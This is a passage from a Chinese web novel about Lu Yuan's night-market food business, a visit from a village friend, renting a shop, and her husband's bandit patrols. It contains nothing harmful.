事情说定后,去夜市街的时候,陆鸢和祁晟也就把何柔带上了。怕第一日去,还不习惯,也就没带许兴去,让他在家里住上一天。 上回生意好,陆鸢在今晚便多备了吃食和糖水。 入夜,华灯初上,夜市街的晚上与白日的冷清不同,如今已然是另一个热闹的天地。 第一天上工的何柔很紧张,身体都是紧绷着的。 胡七娘晓得她是东家的半个亲戚,便热拢地与她说话,缓解她的紧张,还与她说着怎么干活。 胡七娘:“咱们也没几张桌子,忙得过来的时候,你就去洗洗碗,忙不来的时候,就先别管那些碗了,先忙活,等实在没碗用了,再去洗一洗。” 说罢,还小声道:“要是生意特别好的话,东家还会给咱加工钱,或买些夜宵一块吃,我可没见过这么好的东家,你也好好做,这东家还是你半个嫂子,肯定亏待不了你。” 何柔没好意思说不是什么亲戚,而且还是刚认识没多久。 她点了点头,应:“我晓得的,我一定会好好干的。” 夜里,陆鸢依旧会送一小份的糖水,天气正好开始闷热了起来,所以两个摊子都格外热闹。 何柔忙得像小陀螺,期间倒是不小心打碎了几个碗,她一时白了脸。 陆鸢道:“没事没事,岁岁平安,拿个扫帚扫了。” “忙起来,七娘也会不小心打碎碗,几个碗也不值钱,先干活。” 七娘帮忙擦桌子的时候,也应:“是呀,我刚来的时候也摔过碗,别那么紧张。” 闻言,何柔才暗暗松了一口气,心想着明日去买几个碗回来赔给嫂子。 今晚忙到亥时正,夜市的人流已经散去。 陆鸢与祁晟道:“你先把何柔送回去歇一会儿,等收摊了再一块回家去。” 今晚是看何柔能不能适应,所以还是打算回去住。 何柔道:“我不累,我再帮忙收拾一下,在一旁等着收摊也行的。” 陆鸢闻言,也就让她带着。 没到子时,东西就买完了,收了摊子后,陆鸢回去就给他们结工钱。 给七娘结了工钱后,再给何柔结:“你今晚也是忙到收摊了,所以也是和七娘一样的十八文钱,今日生意好,又忙得脚后跟不沾地,所以每个时辰多加一文钱的工钱,一晚上就是多添三文钱,但你打碎了三个碗,一文钱一个,就没了,你看这样行不行?” 何柔愣了一下,道:“可那碗,一文钱根本买不到,怎么都要两文钱一个。” 陆鸢笑应:“这用得久了,自然也就这个价钱了。” 她猜都能猜得出来,小姑娘肯定想要去买新碗赔给她,她自然不能让她真赔,也就想了这么个折中的法子。 何柔有些不好意思:“可这怎么行……” 陆鸢道:“七娘也是这么算的,对吧,七娘?” 七娘在一旁应和着:“是的,我也是这样的。” 心说她倒是打碎过一个碗,东家也没说什么。但估计东家是见这小姑娘打心里过不去,才会这么安慰人。 陆鸢数了十八文给何柔,问:“今晚还能不能适应,下回还要不要继续来?” 今晚何柔虽然有些手忙脚乱,但手脚也是麻利的,而且性子柔柔的,客人都不舍得大嗓门吼她,都挺好的。 何柔应:“能适应,就是一开始有点忙不过来,我觉着我之后肯定能做得更好的。” 陆鸢笑了笑,那行:“下回呀,也别来这么早了,双日酉时初你再过来。” 收拾好后,七娘的丈夫也来接她了,陆鸢他们也回家。 许是今晚太累了,在马车上摇摇晃晃的,何柔也睡了一小会。 何柔在陆鸢的摊子帮忙也就定了下来,两三次后,也逐渐上了手。 陆鸢这日吃完了中食后,就到夜市街准备了。 这才到夜市街就被人拦了一下来,定睛一看,惊喜道:“黄兰嫂子,你怎来了?!” 黄兰带着闺女青丫和儿子虎子一块来的,几人身上都背着背篓。 黄兰道:“还真是你呀,刚刚瞧着都有点不敢确定,这城里的水土可真养人,你这白了胖了,瞧着都成了美妇人了。” 两个孩子见着隔壁家嫂子,夜市不太敢认,毕竟先前的嫂子又黑又瘦,哪像现在这样白白净净的。 陆鸢被夸了,笑得眼睛都眯了起来:“吃饱了,也不晒日头了,自然就胖了白了。”她似乎想到了什么,道:“可是带菌子来卖的?” 黄兰点头:“你说这城里卖得起价钱,我就与娘家人说了,他们出车钱,让我也把他们的菌子帮忙送来。” 陆鸢热情道:“行,先进屋吃些茶,吃些东西,歇歇脚我再带你们过去。” 他乡遇故知,她可太高兴了。 第114章 陆鸢把黄兰带到了小院里。 这个时辰, 胡七娘还没过来。 黄兰看着小院,道:“你和祁晟来城里后,就是住在这里的?” 陆鸢应道:“住了一段时日,后来老太太和孩子来了, 就另寻了住处。” 说到这, 她问:“嫂子什么时候回去, 要不在城里住一宿,明日让郎君送你们回去, 可行?” 黄兰道:“我们是跟着大山来的,他去年不是跟着村子里的人到城里做活么, 他前几日刚好回了村子里, 菌子又晒好了,便跟着他一块来了。” “孩子们也没来过这城里的, 听他们爹说城里繁华, 就想带孩子来见识见识, 会在这城里住几日。” 陆鸢问:“找到住的地方了吗?” 黄兰道:“要是这些菌子能挣多一点, 就找个小栈住下, 我可向刘家三郎打听过了,你们之前住的小栈, 也不是特别贵,十五文一日, 咱们就待两日。” 陆鸢道:“家里就两间屋子, 要不然也可以住到我家里来。” 黄兰道:“不用不用,这城里可不比乡下地方大, 这么多人挤一块也不舒服。” 陆鸢道:“虽然住不下,但这饭肯定是要吃的,一会儿呀, 我忙完手头上这点活,就领着嫂子去把菌子卖了,再带回家去,等郎君下值了,就接你们来这夜市逛逛。” 黄兰道:“那就谢谢苏妹子了,我们几母子毕竟人生地不熟,也像无头苍蝇,能有人就真太好了。” 喝了口水,歇了歇脚后。 胡七娘也来了。 陆鸢和黄兰道:“嫂子,你们在这等,或是出去逛逛,小半个时辰后,我再与你去卖菌子。” 黄兰道:“你先忙,我刚来的时候,看到不远处有市场,我和孩子们先去逛一逛,一会儿再回来。” 送黄兰出门,告诉他们走小路就能到东市后,她就回来准备晚上出摊的东西。 陆鸢忙活了半个时辰后,东西也差不多做好,等了一小会儿,黄兰才回来。 陆鸢把他们领去了收菌子的店铺。 还未进去,黄兰就拉住了陆鸢的手,有些忐忑的问:“妹子,你真确定这铺子会收咱们的菌子?” 陆鸢道:“肯定收呀,不然人家铺子里边的菌子哪里来的?” 黄兰道:“难道不应该有他们自己的门道?” 陆鸢笑道:“门道是一回事,收购也是一个门道,再说了,遇上品质好的菌子,难道不收呀?” 黄兰不太确定:“我的品质算好吗?” 陆鸢:“先让掌柜的看看,若是有些卖不出去的,咱们也是可以到市场上摆摊的。” 入了铺子,全程由陆鸢来交涉,平日里,这嘴皮子利索,大大咧咧的黄兰,这会倒是出声了。 黄兰听到收购价格的时候,眼睛都睁大了。 她买二十文钱一斤都觉得极贵了,这收购竟是几文钱一两! 掌柜和伙计挑挑拣拣,把好品质挑了出来,剩下了一小半品质一般的。 这个季节,菌子多,一般品质的还真不要。 最后,黄兰也得了一贯余钱。 出了铺子外,黄兰拿着沉甸甸地一贯钱,表情激动得很:“我这里的菌子就算全部卖出去了,也就刚得的钱的一半,我是真没想到这城里收菌子,能收这么高的价钱!” 陆鸢道:“总归这到五月都还有菌子捡,到时候存得多了,也可以拿来卖。再说入秋之后,也是满山菌子,到时候也可以拿来卖。” 黄兰听着,这么一算,今年就她自己也能攒下一两贯钱呢,这样的话,也可以给青丫提前备嫁妆了。 买了菌子,陆鸢去东市买了鸡和鱼,去羊肉摊子买肉时,黄兰忙拦着她:“妹子,够了够了,这羊肉贵得很,这些都够吃了,可别浪费这个钱了。” 陆鸢道:“那可不行,嫂子难得来作客一回,我可不能随随便便的。” 说着就让摊贩砍了三斤羊肉,还要了一斤多的羊杂。 回了家,老太太看到孙媳,问:“怎的又回来了?忘记带什么东西了?” 陆鸢笑道:“那可不是,而是家里来人了。” 说着,便领着黄蓝和俩孩子进来。 春花一看到人,惊喜的喊:“青丫姐姐,虎子哥!” 老太太看到黄兰,讶异道:“陈家老三媳妇,你这怎么来城里了?” 黄兰道:“和大山拿菌子来城里卖。” 陆鸢把菜放到厨房,洗洗刷刷准备先炖羊肉汤。 黄兰也进厨房帮忙。 陆鸢道:“嫂子要帮忙,不妨帮我把鸡先宰了。” 黄兰一捋袖子:“成,我现在给你去杀鸡。” 黄兰干活一把好手,没一会儿就杀了鸡,也给鸡拔了毛。 陆鸢炖着羊肉汤,瞧着时辰还早,也就没急着去夜市街。 “嫂子,明日我不用出摊,我就陪你好好逛逛这广康城。” 黄兰喜道:“那感情好呀,就是不知道会不会耽搁了你做买卖?” 陆鸢摆手道:“不耽搁不耽搁,这城里的夜市只开双日,单日不开,平日单日我也是搁家里带孩子。” 黄兰道:“那行。” 在堂屋说着话,老太太有些疲了,就回屋歇一会,两个孩子也在春花秋花的屋子里玩耍。 堂屋里就剩下陆鸢和黄兰两个人。 黄兰凑近了,问:“妹子,你和祁晟到城里也有小半年了,这肯定圆房了,怎样,你男人是不是中看也中用?” 陆鸢:…… 还是她熟悉的那个陈三嫂。 “嫂子,我可不敢和你说,我这一说,你这回村后,不就整个村子的人知道了。” 黄兰不怀好意的挤眉弄眼:“你这不急着辩解,就说明你男人是真中用了,幸好这伤没有伤及根本。” 陆鸢:“诶呀,嫂子你别说这些,弄得人怪不好意思的。” “还怪不好意思,你都俩孩子的娘了,还有什么可不好意思的。” “不过我说,这城里可是个花花世界,看得人眼花缭乱,你可得看紧点你家男人,别叫他被旁的野花给勾了去。” 陆鸢道:“这我哪看得住,他要是真能被野花勾了去,那是他品性不好,我看再紧也没法。” 黄兰想了想,道:“就祁晟的品性,倒不至于做出这种事。” 陆鸢:“那不就是了。” 黄兰:“不过话又说回来了……”她摸了摸陆鸢的小腹,问:“都小半年了,咋还没动静?” 陆鸢:…… 果然,催生大队又来了。 “这不是摊子刚起来么,要是现在就去生孩子了,这就没法挣钱了,到时候拿什么来在城里生活?” 黄兰道:“咋的,祁晟不干活?” “做的做的,他现在就在外边干活,双日晚上就会来摊子帮忙。”她还真怕下回回围山村的时候,听到的是祁晟不干活,靠着媳妇养。 “这暂时不要孩子,也不仅仅是买卖还没稳定,再者我先前逃荒的时候,吃了不少苦,大夫让我调理个一年,再考虑要孩子。” 提起逃荒,黄兰也点了点头:“也是,生孩子可是从鬼门关走一关,是得先把身体调养好,不然生完孩子后也折腾人。” “不过,你们家里这俩孩子,要改姓吗?” 陆鸢道:“改了,春花秋花都愿意改成祁姓,就是大名还没定。” 黄兰道:“改了是好事,在城里,都没几个人知道你们家的事,这样的话,俩孩子也不会被欺负,也不会被叫拖油瓶。” “只是,这孩子还要啥大名,这春花秋花是不是挺好的?” 陆鸢道:“老太太琢磨着给两个孩子起个好听点的大名,显得他们家也重视这两个孩子,以后说亲的时候,也不会被看轻。” 黄兰点了点头:“那倒也是。” 话说得差不多了,陆鸢喊了老太太,让她看着点火,她也准备准备去夜市了。 入了夜,祁晟也把黄兰和几个孩子接了过来,老太太年纪大了,晚上睡得早,也就没让她过来。 夜市的繁华,看得母子三人都眼花缭乱。 几人去逛了半个时辰后才回来的。 陆鸢给他们每个人装了一份糖水。 黄兰道:“这城里还真什么都有,我刚还看到有人跳舞了呢,这安平镇可没这些看。” 吃了糖水后,黄兰惊诧道:“呀,妹子,你这糖水咋这么好喝?” 陆鸢道:“先喝糖水,我再给你们做点吃食。” 春花骄傲地与虎子和青丫说:“我娘做的吃食可好吃了,在这里也卖得特别好。” 陆鸢剪了两根油条,豆腐还有麻辣豆皮都做了一份。 黄兰连连称赞道:“我以前就知道妹子你手艺不错,却没想这么厉害。” 吃饱喝足后,黄兰问:“这些都多少钱?” 陆鸢道:“不用钱,请你们吃的。” 黄兰:“这开门做生意的,怎么能不收钱?” 陆鸢这边正忙着,道:“真不用,给我,我也不收。” 黄兰就问胡七娘和何柔,她们两人自然也不收。 黄兰见状,便让两个孩子看着小的,然后利索的帮忙收拾桌面,更是到摊子前招揽客人。 陆鸢笑得无奈,便让她做了。 夜深了,陆鸢才让祁晟把他们送到小栈去休息。 回了家里,祁晟给陆鸢捏着肩颈。 陆鸢道:“今日黄兰嫂子还问我,你是不是中看又中用。” 祁晟愣了一下,问:“那你怎么应的?” 陆鸢道:“我哪敢乱说呀,就黄兰嫂子那张嘴,我要说你中用,等回去后,全村人都知道你祁晟夜里不睡觉,尽折腾自个媳妇了。” 祁晟认真琢磨了一下,应:“你若给个机会,我也能。” 陆鸢抬手打了一下他的手背:“闭嘴。” 祁晟只得继续问:“那之后呢?” “之后只能是意会你中用,不然还能怎么的。” 想了想,她又说:“你大概不知道,你昏迷的那段时日,陈大山来照看你的时候,可把你的事说给你媳妇听了,然后村子里的人都晓得了,就是我浣衣的时候也听了一嘴。” 祁晟不解:“什么话?” 陆鸢扯开嘴角,缓缓开口道:“何老婆子那孙子,便是昏睡不起,那处也是极为雄伟。” 祁晟:“……” 明明晓得她嘴里就没什么好话,他怎就想不开刨根问底呢? 第115章 陆鸢好好地招待了一日黄兰, 带他们去了法陀寺拜拜,又去了广康的两处名胜古迹。 一整日下来,陆鸢的腿都走瘸了。 晚上边泡脚,祁晟边给她摁脚底:“你们没叫车吗?” 陆鸢道:“黄兰嫂子说能走, 也没多远, 她着实想省几个钱, 没拗过她。” “以前从围山村走到镇上,我也能走, 现在才走没多远,我就觉得喘不上气来, 果然享了福后, 就吃不了苦了。” 祁晟道:“下回可不能这般没苦硬吃了。” 陆鸢:“下回说什么我也不要走那么多路了。” 祁晟给她两只脚都摁了个遍,问:“好点了没有?” 陆鸢点头:“好点了, 你别摁了, 我再泡会脚。” 祁晟擦了擦手, 往盆里多添了热水。 陆鸢:“明儿个你有空的话, 就送黄兰嫂子他们回去, 要是你没空,我就喊个牛车送他们回去。” 祁晟:“我早上去一趟公署, 再告个假。” 别人告假难,祁晟倒好一些, 毕竟单日也去上值, 县丞也是看在眼里的。 陆鸢:“明儿一早我就去东市,买只鹅带回去给里正, 顺道也给黄兰嫂子带些东西回去。” 祁晟点了点头,随即又道:“我的事,过了小半年了, 村子应该淡了,你说是不是?” 陆鸢一听他这么说,不由得“噗呲”一笑:“你就当不知道就好,这么在意做甚?” 祁晟:“我怎么能当作不知道?” 昨日见到陈三嫂的时候,祁晟都觉得有些不大好意思。 陆鸢连连道:“是了是了,是我不应该多嘴告诉你的。” 祁晟:“不关你的事,是我不该多嘴问的。” 一次两次教训还不够,回回还是没忍住多嘴问她。 泡了脚,祁晟端出去倒。 回来时,陆鸢已经睡着了。 祁晟坐在床边,瞧着她酣睡的模样,抬手,指尖描绘着她的眉骨,薄唇微微勾起。 怎么就刚好,她正好是他喜欢的模样。 转念想想,不是她长得正好是他喜欢的模样,而是因为她是他喜欢的人,所以他才会喜欢她的模样,不管是以前的模样,还是现在的模样,不管美丑。 陆鸢蓦地睁开眼,与他对了个正着。 祁晟:…… 陆鸢:“别瞧了,你瞧得我没法睡,刚要睡着,就感觉有个人盯着我,瘆得慌。” 祁晟捂了捂眼,松开后,道:“你睡。” 转头就吹熄了烛火,上了榻,抱了身旁的人。 陆鸢直接推开他:“别抱,热。” 四月份,一天凉一天热,天气变化大,今日不是特别热,就是闷得慌。 祁晟没好气叹了一声。 这上个月时,晚上睡觉的时候倒是黏得紧,天一热就开始嫌弃人了,这到了七八月份,还不得闹着分床睡了? * 祁晟把黄兰送回去后,天气也一日比一日热了。 摊子的生意也一日比一日好,陆鸢忙得忙不过来,双日累得收了摊,到家里,泡了泡脚就直接睡着了,连话都没空与祁晟多说。 这单日,祁晟还得去公署,夫妻俩也就单日晚上能说说话。 这没说上几句话,陆鸢就睡着了,更别说什么夫妻生活了。 先前祁晟还觉得自己忙起来,顾不得她。现在是她顾不得他了。 祁晟心疼妻子,也心疼自己,便与陆鸢道:“你要是真忙不过来,就多请一个人吧。” 陆鸢:“先看看吧,我们现在还忙活得过来。而且两个摊子也不是特别大,三个人也够了,你这平时不也经常过来帮忙吗,忙得过来。” 祁晟瞧着她忙进忙出,也不是滋味。 若是有自己的铺子,起码每次开摊收摊都不用多花费小半个时辰,还费力气地搬进搬出。 祁晟有了想法,就趁着第二日巡街,晌午吃中食的时辰,去了夜市街。 这中午时段,虽然生意不怎么样,但也有很多店铺为了多挣几个钱,也开门了。 祁晟看了一圈,看是否有出租的铺子。 这夜市街的宅子出租有很多,但铺子却是一铺难求,逛了一圈,却没有看到有一个空铺出租的。 祁晟正准备回公署,正好小院的屋主正要开铺,见到他,便喊了声:“祁郎君这身衣裳……可是在公署当差?” 祁晟穿的是公署中的衣裳,与捕头差不多的样式,只花纹不同。 祁晟朝其一颔首,道:“只是在公署当个闲差。” 东家瞧着他那身衣裳,和普通捕快衙役的要精致些许,他心道可不像什么闲差。 东家语气客气了起来,道:“不管是什么差,这能给官家办事的差,都是好差事。” 祁晟笑道:“东家言重了。” 东家:“诶,祁郎君就莫要谦虚了。” 恭维后,问:“郎君外出,可是在巡街?” 祁晟正想应是,但转念一想,这东家在这夜市街开店这么多年,对这街道大小事应该都很是了解,说不准会知道谁家有意外租铺子的想法。 祁晟改了口:“趁着午时歇晌的时辰,来夜市街瞧瞧有没有可以租赁的铺子。” 东家:“怎的,苏娘子要租铺子了。” 这摆摊才半年,都能开得起铺子了,想来这摊子的生养肯定很不错。 祁晟点头:“每日把这些桌椅瓢盆搬出搬进太麻烦了,便琢磨着有个铺子会更方便一些。” “东家可知这街上有那家铺子要出租?” 东家道:“这倒是不太清楚,得打听打听,不过我对这街上的铺子如数家珍,我去给你们打听打听。” 祁晟一拱手:“那就多谢东家了,我这快要点卯的时辰了,便想走了。” 东家笑吟吟地应道:“这点事,不用谢,不用谢。” 待租客走了,东家才暗暗呼了一口气,自言自语地庆幸道:“得亏以前没坑他们夫妻。” 转头开了铺子,一整个下午,除了两个在瓦子宿醉后来买些甘草话梅的,挣了二十几文后,就没旁的生意了。 东家打着苍蝇拍子,越想越想不通。 人家摆摊都已经能开得起铺子了,他这铺子也就每个月挣些小钱,也就双日的时候能多挣一点,但远远不及那些买小食,夜宵的摊子。 日子悠闲是悠闲,但手里的存银也没怎么见涨。 这小儿子又快讨媳妇了,又得帮衬一把,这手里更是没什么银钱了。 东家倒想看看东市买干果果脯铺子的生意,想到这,他便关了铺子门,去了东市。 看到人来人往的小食铺子,东家酸地牙都软了。 在东市晃悠了一圈,看到有铺子出租,不知怎的,就有种冲动,把夜市的铺子租出去,在这地方租一个铺子,晚上再到夜市摆摆摊子。 心里有了想法,便回了家,和家里人商量商量。 要是同意的话,这铺子和后院就可以一同租给祁家夫妻俩。 转租之后,他再去租东市的铺子,肯定不会有剩下的,但生意肯定会好很多,再说了,夜市也可以摆摊, 不知不觉就已经是五月中旬了。 今年因着去年的剿匪,所以整个广康都安居乐业了不少。 陆鸢其他摊子的摊贩说,今年这夜市可比往年来人的热闹多了。 因着杨县丞剿匪,城里的小偷小摸少了,夜里增派了巡逻的人,晚上大家也更加安心出行了。 陆鸢心道自己也算是遇上好时候了。 双日到夜市街时,前边店铺的东家许是听到了后院的响动,便到后院敲了门。 陆鸢看到是东家,讶异道:“东家可是有事?” 东家道:“林娘子可方便到铺子详谈?” 陆鸢心里一忐忑,心说莫不是这小院不租给他们了吧?! 到了前边铺子,东家说明来意后,陆鸢才松了一口气,原是想问问要不要租铺子。 “我前些天听你家郎君说想要租铺子,这不赶巧了,我这铺子也正想转手,所以就想问问苏娘子你可有兴趣?” 陆鸢这一听,心头鼓动。 这没有比现在更好的选择了。 这要是小院和铺子连在一起,可别说有多方便了。 可她没敢表现得太迫切,怕这租金谈不下来。 “我们是有这个打算,要是东家愿意租铺子,让我们整租,那自是最好,就是这租金,不知要多少。” 东家忙道:“这点,苏娘子别担心,我也是按照这街道的行情来收,这整租比只租铺子要便宜,这全租下来,一个月一共是一千二百个钱。” 这个数目,还真是这个夜市街铺子的价格。 毕竟只有双日晚上才热闹,也有风险在,所以这东市的行价会高些许,但这夜市街的铺子,夜市有价无市。 东家真心租,也没有要高价钱,陆鸢也不好为那十几文二十文钱讲价。 “这件事也不是小事,我得回去和郎君好好商量,掌柜莫要急着给别人说,我下回双日就给东家说决定,成不?” 东家应得爽快:“当然成,毕竟你们是院子的租客,我肯定是更愿意租给你们的。” 最主要的原因,还不是因为祁郎君给公家办差,那身穿着比普通捕快都要精致些,瞧来也不是什么寻常小吏。 这寻常小吏,虽说这身份不怎么样,可他一个平头老百姓还是得恭恭敬敬,莫不说是一个在公署有点身份的了。 夜里收摊后,陆鸢才与祁晟提起这件事。 祁晟给她捏着肩,道:“机会难得,东家又实诚,不用太多顾虑,就租了吧。” 陆鸢道:“我确实有顾虑,若是遇上雨季,一个月能有十天生意就不错了,且冬季生意也相对冷淡。有这个银钱,多添些在东市开间铺子也是使得的。” 祁晟忽然道:“若你想在东市开铺子,也不是不可,到时候开个连号不就成了?老字号就让旁人去做,你便可以去经营新字号。” 陆鸢仔细琢磨了一下,说:“你说的也有道理。” 祁晟继而劝道:“我给你去问过了,这夜市街没有一家铺子出租,且只要一张贴出租,立马就会有人租了,你这便是只做十日生意,也能把这租金给挣回来了,冬日再冷淡,但夏秋两季就能挣回来了,不是吗?” 陆鸢听到这,转头微眯眸看向他:“你这忽然怎么了,对租铺子的事这么积极?” 祁晟轻叹一声:“自是心疼你。” 也心疼自己。 陆鸢:“行吧,你这么一说也确实有道理,这铺子就租了吧,再不济也能把租金赚回来,不亏。” 双日出摊的时候,陆鸢就找东家说了租铺子的事。 这租铺子可不比租宅子,这一租就得租上半年,给半年的租金。 也正好到了小院交租金的时候,所以这半年的租金就是七千二百个钱。 再加上简单的修整,这怎么也得一贯余钱,这八贯余钱就没了。 这些时日,家用大头都是用祁晟的工钱,所以只摊子的盈利也存下了十余贯钱。 这出了 贯钱,还是有盈余的,还有祁晟先前的赏银做兜底,口袋有银钱,陆鸢一点也不慌。 第116章 陆鸢签了契书的第三日, 东家就陆续把东西搬空了,铺子也就空了出来。 陆鸢站在空荡荡的铺子里,脑海里已经在想着怎么布置了。 但想法一大堆,最后还是决定普普通通地修整。 又不是什么高档地方, 只是寻常老百姓来的地方, 过度修葺反倒适得其反, 让人望而却步。 店铺收掇一下,店铺外头搭个棚子, 摆上几张桌椅。这天一热,大家伙都会想在外头吃, 没几个人愿意在屋子里边吃。 前边铺子和后边院子的门已经开了, 胡七娘从隔门走到前铺,问:“东家, 这铺子啥时候开张?” 陆鸢应道:“过个五六日吧, 先大嫂大嫂, 还要看看什么需要添置的。” 陆鸢看向原本柜台的位置, 道:“这油滚烫, 油炸的时候避免油四溅伤到人,还是在这多添一面挡板。我一会去找个木匠来量一下尺寸。” “对了, 虽然铺子开了,但这摊子还是要继续摆着, 毕竟有很多老客人还不知道我们开了铺子, 所以还得摆上一段时间。” “你对吃食比较熟悉,到时候摊子就拜托你了, 让小柔去帮你,我再请个人帮忙。” 胡七娘:“也成,那这是继续两个摊子, 还是一个摊子?” 陆鸢道:“先前付了一个月的租金,也快到月底了,到时候就只租一个摊位,两个摊位忙不过来。” “没座位了,也就没那么多人,到时候你再和客人说明铺子有位置,让他们来铺子这边。” 胡七娘点头:“行。” 陆鸢这招工,也不找熟人介绍了,而是直接张贴在门外头。 她想招个能识点字的,也好记账。 “还有,你这帮忙好几个月了,这工钱给你涨到二十五文钱一晚,推磨磨豆乳这些就不涨了,毕竟小柔也在帮忙,还请你谅解。” 胡七娘听到能涨工钱,一下子还涨七文,嘴角都压不住了:“东家可别这么说,放眼这整个夜市街,可没娘子这么好说的东家了,而且一涨就涨这么多的工钱。” 陆鸢继而道:“毕竟七娘你得看顾一个摊子,所以这其他人的工钱会比七娘你的少一些,七娘你也莫要与她们说得太清楚有多少工钱。” 胡七娘忙不迭道:“我懂的,我懂的。” 她能涨工钱,别的人不能涨,自己是特殊的,这等好事,自然是守口如瓶。 木匠来了,陆鸢顺道定做了一个招牌,依旧是叫苏记小食。 黄昏时分,桌椅直接从铺子搬出去,也省下绕一大圈,快了许多。 几日时间一晃而过。 陆鸢多请了一个模样和蔼的中年妇女,会一些字,瞧着也是个干净利落了。 陆鸢不仅给胡七娘涨了工钱,也给何柔涨了两文钱一晚。 这新来的,也涨了两文,二十文钱一晚。 再说新店开张,祁晟也请了公署的同僚捧场,拖家带口,坐得满满当当的,甚至是坐不下,后院也只得摆上两桌。 这来的,都送了一个红封。 陆鸢铺子准备的糖水吃食都管够。 瞧着热闹,倒有不少人排起了队,祁晟同僚见状,都是吃完就走了,也不耽搁他们做生意。 这一下子忙不过来,祁晟同僚家眷也帮忙收拾,弄得陆鸢都怪不好意思的。 这是来做客的,反倒帮上忙了。 这忙到子时,才结束了一天的忙碌。 陆鸢忙得腰酸背痛,只得是让祁晟给她按一按。 她道:“今天太忙了,也没法准备回礼,等明日我去糕点铺子定些云片糕,等你后天上值的时候,再提去公署,今日来了的人就送一份,没来的也分两块糕沾沾喜气。” 祁晟道:“这么大方?” 这一盒绿豆糕,最便宜也要十二文钱一盒。云片糕更甚,二十五文钱一盒。 陆鸢道:“那也没法呀,人家今天晚上这么帮忙。再说了,你那些同僚,他们约好给的红包,每个红包都有八十八文钱,这也是个大红包了,得回礼。” 这年头,寻常捕快工钱都是七八百文,一下子就给了八十八文,已经很多了。 祁晟道:“行,到时候我提过去回赠给他们。” 陆鸢道:“今晚来了七份人,但礼却有九份,另两份是一百八十八文。” 祁晟道:“一份是县丞给的,另一份约莫是陈副将给的,他们怕影响氛围,所以不便来。” 陆鸢:“我备上十八份云片糕,你瞧着够不够?” 祁晟:“除却九份,六房各一份,就是十五份,三份分给外院杂役,够了。” 陆鸢想了想:“算了,也不能刚刚好,我还是直接定够二十盒吧。” “九份云片糕,剩下的都挑枣糕,枣糕份量大。” 云片糕和枣糕的价钱也差不了几文钱,主要云片糕个头小,不好分食,还没尝过味就没了。 祁晟:“都听你安排。” 说着继续揉着她的腰,他的心思可不在回礼上。 陆鸢:“你力道可以再重些的,今晚太累了,腰也很酸。” 祁晟略一使劲,疼得她叫唤出声:“就是这个力道。” 又痛又舒爽。 摁了好一会,没听到她说话,便知她已经睡了,祁晟放轻动作,收拾了一下桌面上的账本和笔墨后,才就寝。 第二个双日收市,陆鸢的算盘拨弄了小半个时辰,等她把数字写在账本上后,祁晟才问:“挣了多少?” 陆鸢虽然疲惫,却是笑吟吟的与他说:“咱们铺子开张时机,正好遇上了太平的时候,也正好是夏季,这一开张,就有这么多人捧场,旁人也以为我们摊子的吃食很美味,所以都是排着队来的,先前摆摊的时候,都没有见过这盛况。” 祁晟道:“咱们家的吃食,味道本来就好。” 陆鸢:“你就贫吧,好吃的吃食多了去了,大家伙不过是图个新鲜。” “不过,这图个新鲜,也让我挣了不少呢。” 祁晟好奇的问:“多少?” 陆鸢:“摊子和铺子两家加起来,八百来文的利润呢!” 祁晟:“那这一个月的双日,岂不是就把租金给赚回来了?” 陆鸢倒是没有被喜悦冲昏头脑,很是理智的道:“那肯定不是日日都这么多的,之前摊子有送糖水的时候,两个摊子的利润就过了一次五百文,后来就少了,都保持在三百文之间。” “这摊子和店铺估计也差不到哪里去,再说先前没什么竞争,如今多了一家铺子,选择也就多了。这广康城就这么些人,而且也不是人人能日日都吃得起小食的,所以这摊子和铺子加起来,能有个五百文就不错了。” 祁晟算道:“便是五百文一日,一个月至少十二日营业,也有六贯钱了,如此加上我的工钱,扣除家用,一个月能有八贯钱,三年,咱们就能买得起宅子了。” 陆鸢好笑道:“哪能这么算,先前就说过了,冬春两季可不怎么挣钱,咱们保守些,五年吧。五年的话,估计就能买得起宅子了。” 如今的奔头,就是奔着买房子去的。 盘完了帐,也就上榻歇息。 熄了灯,陆鸢兴奋地与祁晟说起了悄悄话:“你猜,咱们家现在有多少银钱。” 祁晟心底一合算,试探道:“五十两左右?” 陆鸢声音愉悦:“近了。” “咱们存银都快六十两了,当然了,这里边有一半都是你攒下的,有你的赏银和你的月俸。” 祁晟:“赏银不是时时有,所以你的存银很快就会超过我的。” 陆鸢捶打了他一下:“这有什么好比较的,我还不想你有赏银呢,就本本分分地拿个月俸就成。” 这赏银可是伴随着性命威胁的,越多赏银就代表着越凶险,她可不想要这个赏银。 “不过,安平镇之后,县丞应该不会再费周章去剿匪了吧?” 毕竟现在的广康辖内,好像也没怎么听说有过路人被抢,更没听说有哪个村子被山贼土匪侵扰。 祁晟默了默,道:“暂时没听到县丞有剿匪的打算,但是却提起了七月百姓收粮之事。” 陆鸢闻言,遂在黑暗中坐起:“怎么说?” 祁晟把她拉回榻上,说:“别太担忧,也就是打算增派村镇巡查罢了,免得有匪抢粮。” “这山里种不了粮食,若是这些山匪依旧不事生产,欲不劳而获,那定然会冒险抢粮。这粮食是农户根本,也是补充广康粮仓根本,不能轻视。” “那……你也得去吗?” 祁晟:“几乎整个公署都得去巡查,轮番去巡查,估计我也就只轮两回。” 只轮两回,也不是小事了。 陆鸢听得胸口闷闷的。 也不是说想让祁晟行特殊,不去巡查。 只是她观祁晟的体质,就是那些话本小说里边的男主,出个门都能撞上际遇,都能遇上事。 别的不说,就说被县丞所用,寻常人哪有他这种际遇? 再说遇匪的事,就给他遇上了两回。两回都是因为广康和围山村往返间遇上的,间隔也都不到一个月。 她是真怕祁晟这回巡查期间,又惹上大动静。 平平安安度过最好,可万一呢? 她是真的,一点儿也不想他冒险挣赏银来补贴家用。 第117章 七月初, 也是农户开始收割水稻的时候。 往年这个时候,也是山匪频频下山抢粮抢人的时候。 今年虽有杨县丞坐镇,也能震慑山匪,只是这粮食不仅是农户根本, 也是这山匪的根本, 山地无法耕种, 他们若是不想花钱买粮,那只能是抢粮。 公署派人外出巡查, 但公署的人也就这么多,而整个广康的范围却这么大, 所以从村镇里挑选青壮年, 由公署两人带队巡逻。 公署正经在编的不过数十人,没必然要有一人在编人员陪同, 管辖下有数十个村子, 一支队伍管三个临近的村子。尽管如此, 人手还是紧张。 这也只能是分两拨人轮着出巡, 巡三日再换下一拨。 便是不出巡, 也得上值,轮着休一日沐。 这样的情况, 得持续到八月缴完粮税。 祁晟是第一轮外巡的人。 第四日一早回来,都没回家, 直接就去公署上值了。 傍晚下值回来, 这整个人都沧桑了许多,囫囵吃了些吃食, 简单地冲了个澡,连胡茬子都没修便睡了。 陆鸢也心疼她,早早就让老太太在邻里家中买了一只老母鸡, 熬了鸡汤。 